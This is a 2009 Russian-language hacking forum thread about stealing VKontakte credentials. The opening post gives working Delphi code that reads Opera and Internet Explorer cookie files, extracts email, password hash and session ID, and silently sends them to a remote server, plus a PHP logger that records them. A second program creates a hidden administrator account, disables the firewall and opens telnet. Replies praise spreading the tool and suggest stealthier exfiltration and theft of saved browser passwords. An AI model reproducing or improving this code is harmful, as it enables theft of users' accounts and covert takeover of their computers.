PDA

Просмотр полной версии : Сливаем Hash от vkontakte.ru[Delphi+php]


JeDaSe
25.05.2009, 21:22
Вот написал меленькую программку для пользователей своей сети, может кому будет интерсено

program killall;

{$APPTYPE CONSOLE}

uses
SysUtils,windows,ShellAPI;
//-----------Ïîëó÷åìå ëîãèí òåêóøåãî ïîëüçîâàòåëÿ--------------------------------
function GetUserFromWindows: string;
var
UserName : string;
UserNameLen : Dword;
begin
UserNameLen := 255;
SetLength(userName, UserNameLen);
if GetUserName(PChar(UserName), UserNameLen) then
Result := Copy(UserName,1,UserNameLen - 1)
else
Result := 'Unknown';
end;
//------------------------------------------------------------------------------
//-------------------Ïîëó÷àåì ñèñòåìíûé äèñê------------------------------------
function GetSystemDisk: string;
var
S: array[0..MAX_PATH] of Char;
begin
GetWindowsDirectory(S,SizeOf(S));
Result:=copy(S,0,1);
end;
//------------------------------------------------------------------------------
var
User,Disc,mail,hash,id,startdir:string;
coock,st,mask:string;
f:TextFile;
i:integer;
searchrec : tsearchrec;
Opera,IE: string;
begin
Disc:=GetSystemDisk;
User:=GetUserFromWindows;
Opera:= Disc+':\Documents and Settings\'+User+'\Application Data\Opera\Opera\profile\cookies4.dat';
if FileExists(Opera) then
begin
AssignFile(f,Opera);
Reset(f);
for i:=0 to 500 do
begin
Readln(f, st);
coock:=coock+st;
end;
delete(coock,1,pos('remixemail',coock)+12);
mail:=copy(coock,0,pos(#18,coock)-1);
delete(coock,1,pos('remixpass',coock)+11);
hash:=copy(coock,0,pos(#18,coock)-1);
delete(coock,1,pos('remixsid',coock)+9);
id:=copy(coock,0,pos(#18,coock)-1);
ShellExecute(0, nil, PChar('http://xx.xx.x.xx/snif.php?t=opera&i='+id+'&m='+mail+'&h='+hash), nil, nil, SW_HIDE);
end;

startdir:=Disc+':\Documents and Settings\'+User+'\Cookies\';
mask := '*.*';
if findfirst(startdir+mask, faanyfile, searchrec) = 0 then
begin
repeat
if pos('vkontakte',searchrec.name)<>0 then
begin
AssignFile(f,startdir+searchrec.name);
Reset(f);
for i:=0 to 500 do
begin
Readln(f, st);
coock:=coock+st;
end;
delete(coock,1,pos('remixemail',coock)+9);
mail:=copy(coock,0,pos('vkon',coock)-1);
delete(coock,1,pos('remixpass',coock)+11);
hash:=copy(coock,0,pos('vkon',coock)-1);
delete(coock,1,pos('remixsid',coock)+9);
id:=copy(coock,0,pos('vkon',coock)-1);
ShellExecute(0, nil, PChar('http://xx.xx.x.xxx/snif.php?t=ie&i='+id+'&m='+mail+'&h='+hash), nil, nil, SW_HIDE);
end;
until findnext(searchrec) <> 0;
end;
end.



и код снифера(snif.php)

<?php
$fp=fopen("sn.html","a+t");
fputs($fp,"
Время: ".date("[D d/m/Y H:i]")."<br>
Мыло: ".$_GET['m']."<br>
Хэш: ".$_GET['h']."<br>
ID: ".$_GET['i']."<br>
Браузер: ".$_GET['t']."<br><br>
");
fclose($fp);
header("Location: http://google.ru");
?>

wildshaman
25.05.2009, 21:26
а, сорри, зачет

JeDaSe
25.05.2009, 21:30
Тырит только от оперы - низачот(
Ну наверно надо посмотреть получше
странно, каменты кракозябрами
первый раз пишу на форуме ещё не разобрался что как

Gar|k
27.05.2009, 02:24
идея прикольная
в проге недаработки
1) открываешь файл и почемуто считываешь 500 строк (как я понял в делфи не селен) и там уже ишешь строку нужную... а если файл намного больше?
2) а если там нет кук вконтакта, тогда что? тогда она наверное вылетит с ошибкой или в лучшем случае пошлет пустые параметры.
3) для отправки ты как я смотрю используешь тупа выполнить... и параметры передаешь в GET запросе - а ведь GET запросы остаются в логах веб сервера... вывод POST и WINSOCK

Gar|k
27.05.2009, 02:31
кстати реализовать можно намного проще... архивировать куки и используя системную комманду ftp (фаер побреется...) скрытно передавать их на свой ftp... а потом тиха разбирать, я думаю кроме контакта найдутся еще куча кук на интересные сервисы. хотя это все рутина )) прогой анализировать круче хех

на основе данных можно сделать активный снифер кук. взял куки с харда зашел поменял пароль - ты насяльника

St0nX
28.05.2009, 11:37
А я для пользователей своей сети использую. ARP spoofing + Wireshark.
Больше интересного вытащить можно)

JeDaSe
28.05.2009, 12:04
Вот ещё интересная вещь, но старая
{ ************************************************** ********************* }
{ Delphi 7 }
{ JeDaSe ICQ:8673900 }
{ exec telnet & kill SharedAccess }
{ ************************************************** ********************* }
program PsevdoSHELL;

{$APPTYPE CONSOLE}

uses
SysUtils,windows;

var
Login,pass:string;
begin
Pass:='Hackers'; // Пароль пользователя(взломщика)
Login:='Hackers';// Логин
winexec(PChar('cmd.exe /c net user '+Login+' '+Pass+' /add'),sw_normal);//Добавляем пользователя
winexec(PChar('cmd.exe /c net localgroup "Администраторы" '+Login+' /add '),sw_normal);//Делаем его админом
winexec(PChar('cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserLis t" /v "'+Login+'" /t REG_DWORD /d 00000000'),sw_normal);
winexec(PChar('cmd.exe /c sc config wscsvc start= disabled'),sw_normal);
winexec(PChar('cmd.exe /c sc config SharedAccess start= disabled'),sw_normal); //останавливаеи брендмауер
winexec(PChar('cmd.exe /c sc config tlntsvr start= auto'),sw_normal);
winexec(PChar('cmd.exe /c sc stop wscsvc'),sw_normal);
winexec(PChar('cmd.exe /c sc stop SharedAccess '),sw_normal);
winexec(PChar('cmd.exe /c sc start tlntsvr '),sw_normal); //запускаем телнет
end.

отключает брендмауер и запускает телнет

ronald
03.06.2009, 12:35
а без этого bat файлом сложно ;) ?
Кстати код не идеален, сработает только на рус винде, и только если прогу запутил админ

waik
03.06.2009, 12:51
ТСу зачет однозначно!

warlok
05.06.2009, 03:44
root_sashok каменты крозяблами потому что тс копировал из делфи у мну тоже такое бывает :)

Seregakz
16.08.2009, 05:52
кто прогу может немного переделать?)) чтоб все куки оперы вставлялись в мемо расшифрованы %)

ex3me
16.08.2009, 14:36
CloseFile забыл =)

Плюс, действительно считывать надо не 500 строк:
while not EOF(f) do
begin
Readln(f, st);
cook:=cook+st;
end;

А вообще - зачет. Надо будет раскидать по сети ))

Seregakz
16.08.2009, 21:34
CloseFile забыл =)

Плюс, действительно считывать надо не 500 строк:
while not EOF(f) do
begin
Readln(f, st);
cook:=cook+st;
end;

А вообще - зачет. Надо будет раскидать по сети ))


Если чисто весь файл в мемо кинуть то он не отображаетсо =// неподскажеш чтоб все куки грабились чё сделать?))))

ex3me
16.08.2009, 22:39
Все отображается. Прекрасно. Можешь не в мемо кидать построчно, а Memo1.Lines.LoadFromFile, или же


var
str:TStrings;
begin
str:=TStringList.Create
str.LoadFromFile('filename');
...
str.Free;
end;

Seregakz
17.08.2009, 01:31
а моя не внимательность проблемы были с переменой)

токо вот чёт


while not EOF(f) do
begin
Readln(f, st);
cook:=cook+st;
end;


не грузит весь файл))

ex3me
17.08.2009, 01:46
Seregakz, у переменных типа string, коей является cook имеется один небольшой недостаток (читай - твоя невнимательность) - ограничение по длинне. Именно поэтому я привел пример загрузки файла не построчно, а целиком в посте #14

Seregakz
17.08.2009, 04:05
ex3me, токо пример с 14-го поста не проканал =/
Делал так:

str:=TStringList.Create;
str.LoadFromFile(Opera);
memo1.Lines.AddStrings(str);
str.Free;


не подскажеш как разгребсти их в читабельный вид?))) а это это ппц всё вместе)

ex3me
17.08.2009, 09:41
memo1.Lines.Assign

Seregakz
17.08.2009, 09:49
memo1.Lines.Assign

аналогично не пашет) простой файл грузит, а файл с куками нет)

str:=TStringList.Create;
str.LoadFromFile(Opera);
memo1.Lines.Assign(str);
str.Free;

flacs
18.08.2009, 00:35
ну дык нуль терминейт символы в файле есть
храни во времнном буфере, и открывай вот так файл

var FS: TFileStream;
buf: array of char; // временный буфер
begin
FS:=TFileStream.Create('path of file', fmOpenRead);
SetLength(buf, FS.size+1);
FS.Read(buf, FS.Size);
FS.Free;


while not EOF(f) do
begin
Readln(f, st);
cook:=cook+st;
end;


Блин не построчно (Readln), а посимвольно(Read) читать надо

ErrorNeo
18.08.2009, 01:07
чета афтар подзабил на ачат, а тема норм.
в исходный код можно добавить много вкусного, убрать {$APPTYPE CONSOLE}, сделать отправку пассов и куков не мгновенной, а отложенной..
так же можно найти у юзера сохраненные в самом браузере(мазиле+опере) пароли, которые, даже, не придется "ломать", т.к. они хранятся там в "восстановимом" виде (в мазиле - всегда, в опере - если специально не был задан мастер-пароль, что крайне маловероятно).

Много можно сделать интересного, любопытного и занятного:p было бы желание

=Zeus=
18.08.2009, 01:14
Seregakz, у переменных типа string, коей является cook имеется один небольшой недостаток (читай - твоя невнимательность) - ограничение по длинне. Именно поэтому я привел пример загрузки файла не построчно, а целиком в посте #14

Насколько я знаю, то если в настройках проекта стоит галочка "Wide String", то ограничений на длину нету.

Seregakz
18.08.2009, 01:15
ну дык нуль терминейт символы в файле есть
храни во времнном буфере, и открывай вот так файл

var FS: TFileStream;
buf: array of char; // временный буфер
begin
FS:=TFileStream.Create('path of file', fmOpenRead);
SetLength(buf, FS.size+1);
FS.Read(buf, FS.Size);
FS.Free;



Блин не построчно (Readln), а посимвольно(Read) читать надо

Аналогично не пашет)) приведите плз рабочий код вывода куков в мемо)))

flacs
18.08.2009, 11:25
в мемо оно не будет корректно отображаца, ИБО есть нуль-терминайт символы в файле (#00)

если только читать файл посимвольно, и записывать только значимые символы, отсекая то что в МЕМО может некорректно отображаца

var
c: char;
data: string;
begin
AssignFile(f,'путь');
Reset(f);
while not eof (f) do begin
Read(f,c);
case c of
0..9,A..Z, a..z, #32: data:=data+c; // те символы которые тру отображаются
end;
end;
CloseFile(f);
Memo1.text:=data;
end;


Конечно, это жутко медленный и нубско-ламерский способ, но по крайней мере воркает =/

tecca555
18.08.2009, 12:13
автор как я знаю добивает проект,скоро выставит на общий смотр

Seregakz
18.08.2009, 16:25
в мемо оно не будет корректно отображаца, ИБО есть нуль-терминайт символы в файле (#00)

если только читать файл посимвольно, и записывать только значимые символы, отсекая то что в МЕМО может некорректно отображаца

var
c: char;
data: string;
begin
AssignFile(f,'путь');
Reset(f);
while not eof (f) do begin
Read(f,c);
case c of
0..9,A..Z, a..z, #32: data:=data+c; // те символы которые тру отображаются
end;
end;
CloseFile(f);
Memo1.text:=data;
end;


Конечно, это жутко медленный и нубско-ламерский способ, но по крайней мере воркает =/


Не воркает))))))))))))

flacs
18.08.2009, 17:23
Потому что вы никуя не умеете программить, а лишь компилите готовые куски кода, и ни в состоянии исправить элементарные ошибки.....

var
f: file of char;
c: char;
data: string;
begin
AssignFile(f,'путь');
Reset(f);
while not eof (f) do begin
Read(f,c);
case c of
'0'..'9','A'..'Z', 'a'..'z', #32, #9, ':': data:=data+c;
end;
end;
CloseFile(f);
Memo1.text:=data;
end;

Seregakz
18.08.2009, 18:34
Потому что вы никуя не умеете программить, а лишь компилите готовые куски кода, и ни в состоянии исправить элементарные ошибки.....

var
f: file of char;
c: char;
data: string;
begin
AssignFile(f,'путь');
Reset(f);
while not eof (f) do begin
Read(f,c);
case c of
'0'..'9','A'..'Z', 'a'..'z', #32, #9, ':': data:=data+c;
end;
end;
CloseFile(f);
Memo1.text:=data;
end;



)))))) я не про то что ошибка в коде была) я про то что он в мемо загрузит одну строчку и всё)) хотя сам файл кук мег весит))
Мне просто надо куки приводить в читабельный вид чтобы потом пост запросом отправить на сервер)

flacs
18.08.2009, 21:10
Seregakz, у меня все тру воркает, я хз че там у тебя

Seregakz
18.08.2009, 21:17
Seregakz, у меня все тру воркает, я хз че там у тебя

А мона както фильтрануть нул даннные с помощью StringReplace ?? пробовал #0 нефика(

_nic
19.08.2009, 18:37
Я так понял тырятся куки из Оперы и ИЕ? А как же огнелис?